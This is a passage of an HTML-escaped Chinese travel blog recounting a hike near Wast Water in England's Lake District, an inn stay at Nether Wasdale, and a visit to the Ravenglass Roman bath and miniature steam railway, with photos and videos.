&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_144856062-PANO-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_144856062-PANO-optim.jpg&quot;
	alt=&quot;由谷歌拼接的全景图片：两架阿帕奇和两架奇努克从右方的Lingmell山脉飞过，飞到Wast Water的上方&quot;
	height=&quot;228&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;所以，其实是演习。老头说这大概有半个英国空军的直升机——惊到我了。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.raf.mod.uk&#x2F;aircraft&#x2F;chinook&#x2F;&quot;&gt;根据奇努克判断，应该是来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Odiham&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Benson。&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;继续往下走，回到了刚开始爬山时路过的溪流。这时有一群德国人在泡脚。我尽量往上游走了走，也脱掉鞋子开始泡起来（～V♡&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;♡50♡&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;♡&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;足&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;♡&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;控&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;♡&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;福&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;♡&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;利～&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。水很凉，洗完擦完再穿袜子很舒服——再次庆幸自己带了毛巾。顺便把毛巾也洗洗。&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;PXL_20230529_153046173.TS-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;PXL_20230529_153046173.TS-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：我的洗脚池，清泉石上流
&lt;&#x2F;video&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;看了看我上周新买的鞋，已经被石头擦出了好多白印。我宣布它已经变成旧鞋，从此我不会再关心它的状态。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_152443162-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_152443162-optim.jpg&quot;
	alt=&quot;鞋子的头部和两侧都有被石头擦出的白印&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;下山时发现了好几只羊——漫山遍野的羊，为什么没有烤羊腿！我还要吃羊蝎子呀！全羊宴做起来！&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_153605378.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_153605378.MP-optim.jpg&quot;
	alt=&quot;山坡上两只羊在吃草&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;如果昨天的计划顺利，我就已经去过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wasdale
Head&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。那里有英格兰最小的教堂——本来这篇博客的标题是《英格兰最深湖、最小教堂和最高峰&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。下山时有个岔路可以去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wasdale
Head，但已经走了快九个小时的我不想节外生枝，果断原路返回了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_153750970-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_153750970-optim.jpg&quot;
	alt=&quot;岔路，标识显示右边的门通向Wasdale Head，而左边的路通向我来的停车场&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;maybe-columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_155052478-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_155052478-optim.jpg&quot;
	alt=&quot;最开始进山时的小桥&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;快五点时到了停车场，有一个人在长椅上无聊地等着什么。我上完厕所、吃了点东西、接满水、休息休息准备出发后，他仍然在等。希望他在等的人没有出事。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;停车场有鸟食和褪色的鸟类图例。我认出了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.rspb.org.uk&#x2F;birds-and-wildlife&#x2F;wildlife-guides&#x2F;bird-a-z&#x2F;blue-tit&#x2F;&quot;&gt;蓝山雀&lt;&#x2F;a&gt;和&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.rspb.org.uk&#x2F;birds-and-wildlife&#x2F;wildlife-guides&#x2F;bird-a-z&#x2F;chaffinch&#x2F;&quot;&gt;雄性苍头燕雀&lt;&#x2F;a&gt;。爱丁堡有时也能见到除去海鸥鸽子乌鸦之外的袖珍小鸟，但毕竟是城市，不如这里多。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_161406002-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_161406002-optim.jpg&quot;
	alt=&quot;蓝山雀和鸟食&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;走出停车场没多久，看到路上有个人在往&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;走。我以为他是同路人，赶紧跑过去搭话——两个人走还是比一个人走舒服些。结果他有车，只是停在前面了。不过他表示可以开车送我到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale。&lt;&#x2F;p&gt;
&lt;p&gt;我早上在旅馆填表时写的是大约六点前回旅馆，按当时的走路速度我是无论如何没法那么早回去的。更要命的是下山之后一路没信号，我也没法通知旅馆我要晚点回去。听说有人可以开车捎我过去，那我肯定同意啊。他也很高兴，原来他凌晨开两小时车到这里，从五点开始顺着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wast
Water&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;北部的山爬了一圈，就没见到几个人，更别说聊天了。&lt;&#x2F;p&gt;
&lt;p&gt;17:50，我回到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale，和来自利物浦的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Paul&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;告别后就进了旅馆。呵！里面的人那个多啊，我怀疑就算我六点没回来，旅馆主也没空报警。&lt;&#x2F;p&gt;
&lt;p&gt;18:20：下楼吃饭，照例还是要点一杯自酿的酒。有个拄拐的中年人坐在为熟客预留的位子上给我出主意。看到他像哥隆族一样的肚子，我就知道遇到行家了，于是听从他的建议点了一杯&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Double
Rotor。这&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Double
Rotor&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的灵感来源貌似就是奇努克，看来这附近经常有训练。&lt;&#x2F;p&gt;
&lt;p&gt;周一晚上的餐厅虽然订满了，但是人少了很多。今天是假期最后一天，大部分人回家了。菜单上还印着周日可以做烤羊腿，我无奈地点了份辣牛肉。给我辣坏了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_173800152-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_173800152-optim.jpg&quot;
	alt=&quot;辣味牛肉块。米饭是印度黄米饭，配菜是沙拉和墨西哥三角玉米片。饭和肉上洒满了香菜&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;19:06：吃完饭，感觉好累，腿好疼。其实我刚上山时感觉腿累，但走了一段时间后就不累了——直到吃完饭才发觉好累。在看腿的时候，发现裤兜的缝线处甚至发白了——难道是汗水里的盐？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;第四天&quot;&gt;第四天&lt;&#x2F;h2&gt;
&lt;p&gt;和前几天一样，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2、6、7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点醒来。浑身都疼。&lt;&#x2F;p&gt;
&lt;p&gt;老爸在房山培训，看他的照片感觉山好高啊。上网一查发现十渡最高峰&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1200&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多米，北京最高峰&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2300&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多米。Scafell
Pike
978&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米，而英国最高的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;gd&quot;&gt;Beinn
Nibheis&lt;&#x2F;span&gt;&#x2F;Ben
Nevis&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1345&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米。啊？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;离开Nether_Wasdale&quot;&gt;离开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether Wasdale&lt;&#x2F;h3&gt;
&lt;p&gt;退房后走到街道上发现没有信号开导航，赶紧回旅馆企图用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wi-Fi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;先把导航开开。老板娘问我是不是迷路了、想去哪，然后热情地替我规划路线。就是在这时，我才知道自己路线规划有误：不应该在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass，而应该在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Seascale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中转。这条路线更近，而且：&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;Ravenglass？为什么不去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Seascale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;呢？那里还有海滩呢&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;figcaption style=&quot;text-align:end&quot;&gt;
&lt;p&gt;——老板娘&lt;&#x2F;p&gt;
&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230602_153322582-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230602_153322582-optim.jpg&quot;
	alt=&quot;老板娘画出的路线&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;昨天推荐我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Double
Rotor&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的拄柺老哥拿卫星电话叫了辆出租车，还告诉我等车期间可以去不远处的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Sawmill&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;透过玻璃地板看“嗖嗖嗖”的鲑鱼。说罢，他还拿拐杖戳了戳地，说很近的，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我这样的都能去&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_095609664-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_095609664-optim.jpg&quot;
	alt=&quot;站在Cinderdale Bridge上拍摄的River Irt。河岸两侧都是树，左边的空地是没有营业的The Sawmill&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;可惜呀，到了之后发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Sawmill&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;停业。回到旅店以后拄拐老哥也反应过来了：他们家周二就是有概率休息。这下没办法，就在餐厅里开始聊天。&lt;&#x2F;p&gt;
&lt;p&gt;聊天期间得知当地有位神人名唤&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Joss
Naylor：这位年轻时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时跑过湖区&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;72&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个山峰、50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;岁时七天翻过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;214&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个山峰、80&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;岁时跑得比救援队长还快……虽然他现在在医院了，但以前也时常光顾这家&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Strands
Inn。不禁感叹我还是得多锻炼锻炼。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;另外他还告诉我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wast
Water&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;南部那个噪音很大的房子是给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windscale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;核电站泵水的（用于冷却反应堆&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。虽然那里的核电站已经停机了，但水泵还在工作（还在冷却反应堆&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。等我回家了，又得知&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windscale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是火车路过的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sellafield。1957&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，Windscale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的反应堆发生了五级事故；&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;corecumbria.co.uk&#x2F;alternative-tour-of-sellafield&#x2F;sellafield&#x2F;#:~:text=Originally%20called%20Windscale%2C%20the%20nuclear,after%20a%20string%20of%20accidents.&quot;&gt;1981&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年为了挽回公众形象，当地被更名为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sellafield。&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_133711809-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_133711809-optim.jpg&quot;
	alt=&quot;Wast Water南部的水泵房&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;老板娘俯过身告诉我车来了，拄拐哥也起身去和司机交谈：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;你挺准时啊&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;当我工作时，我是认真的&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;现在，我要你，把这位年轻人送到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;司机答了什么，以及其他的寒暄我给忘了，总之就这么出发了。还没踩油门呢，车窗外突然冒出个老太太，和司机商量着把她带到哪。在我之后司机还得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Muncaster
Castle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再接一单才能回来，看来出租车在这片还挺抢手。&lt;&#x2F;p&gt;
&lt;p&gt;司机的体型是山一样的圆锥体，其实第一天的大巴司机也是这个体型，只不过大巴司机有头发。路上我分享了这几天的经历，他说上周就有人从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Screes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上掉下去。我还真是幸运啊。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Ravenglass_Roman_Bath&quot;&gt;Ravenglass Roman Bath&lt;&#x2F;h3&gt;
&lt;p&gt;司机把我放在了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的罗马浴场废墟。由于没有信号，刷卡没成功。我兜里只有苏格兰纸币——按法律来讲，任何人都可以拒收苏格兰纸币&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bankofengland.co.uk&#x2F;explainers&#x2F;what-is-legal-tender&quot;&gt;其实任何人都可以拒收任何形式的钱，但如果某种形式的钱是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;legal
tender，那么在还债的时候对方不能起诉你无法还债；大众理解下的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;legal
tender&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是商家无法拒收的钱。不管大众怎么理解，苏格兰纸币在哪里都不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;legal
tender。&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;结果大哥挺豁达，只要纸币上印着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;sterling&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都收。开心。&lt;&#x2F;p&gt;
&lt;p&gt;可恶的当地人把浴场围起来了。不过我喜欢看的部分是地下部分，这里本来也看不到。所以拍了几张照，吃了根能量棒就走了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_113301920-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_113301920-optim.jpg&quot;
	alt=&quot;罗马浴场废墟&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_114157086-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_114157086-optim.jpg&quot;
	alt=&quot;另一个角度的罗马浴场废墟&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;Ravenglass_→_Dalegarth&quot;&gt;Ravenglass → Dalegarth&lt;&#x2F;h3&gt;
&lt;p&gt;顺着小路往北走，不到十分钟就走到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;火车站。我的火车快七点才发车，到车站时还不到一点。我决定坐趟&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Dalegarth&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的蒸汽火车打发时间。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;这趟列车是以前运矿的火车，现在的卖点就是小：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;nzetc.victoria.ac.nz&#x2F;tm&#x2F;scholarly&#x2F;tei-Gov01_05Rail-t1-body-d11.html&quot;&gt;整条线路七英里、轨距&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;15&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;英尺。&lt;&#x2F;a&gt;它们自我标榜是世界最小的铁路。我一看他们的海报，原来我原计划的最高山、最深湖和最小教堂是个常见组合啊&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;我看的导游书里说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wasdale
Head&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;St
Olaf’s&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是英格兰最小教堂，这里说是几乎最小。我一查，确实有人说另一个教堂更小，也有人说另外的铁路更小。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_164953606-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_164953606-optim.jpg&quot;
	alt=&quot;一张旧海报：用世界上最小的铁路参观英格兰最高的山、最深的湖和几乎最小的教堂&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;12:50：买票，回程的车除了最后一趟竟然都满了。那趟是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;17:00，回来需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟，所以时间还是很充裕的。&lt;&#x2F;p&gt;
&lt;p&gt;13:23：尝试用镊子把膝盖上的刺拔出来，但现在反而有点火急火燎的感觉。翻开裤腿想找刺，发现里面都是盐粒。针刺感是参观完罗马浴场有的，之后一直到返程列车上还有。但整理游记&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日记时发现膝盖早不疼了——其实我一直就没找到刺在哪，也许根本就没有刺。&lt;&#x2F;p&gt;
&lt;p&gt;最小的铁路，当然要有最小的转车盘啦！&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;PXL_20230530_121820004.TS-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;PXL_20230530_121820004.TS-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：司机在转车盘里用背部推动蒸汽机车车头。等转好方向以后又开走了
&lt;&#x2F;video&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;检票员问我只有一个人么？当然了，这个腿部空间当然只有一个人了！突然想起&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;falkirk-wheel&#x2F;#%E9%93%81%E9%81%93%E6%97%85%E8%A1%8C&quot;&gt;之前读过书&lt;&#x2F;a&gt;说欧洲早期火车的座位采用包厢式的设计——这就是所谓包厢吧。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_122232562-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_122232562-optim.jpg&quot;
	alt=&quot;车厢内，我对腿在正常状态下已经快够到对面座位了。而且两侧的剩余空间也不大&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;在车上的感受是外面的人都好喜欢打招呼。也不知道是不是规定，我看铁轨旁穿着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hi-Vis&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;工作服的工人打起招呼来无精打采，像是在投降。Mit&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开头的什么站还有人录像。&lt;&#x2F;p&gt;
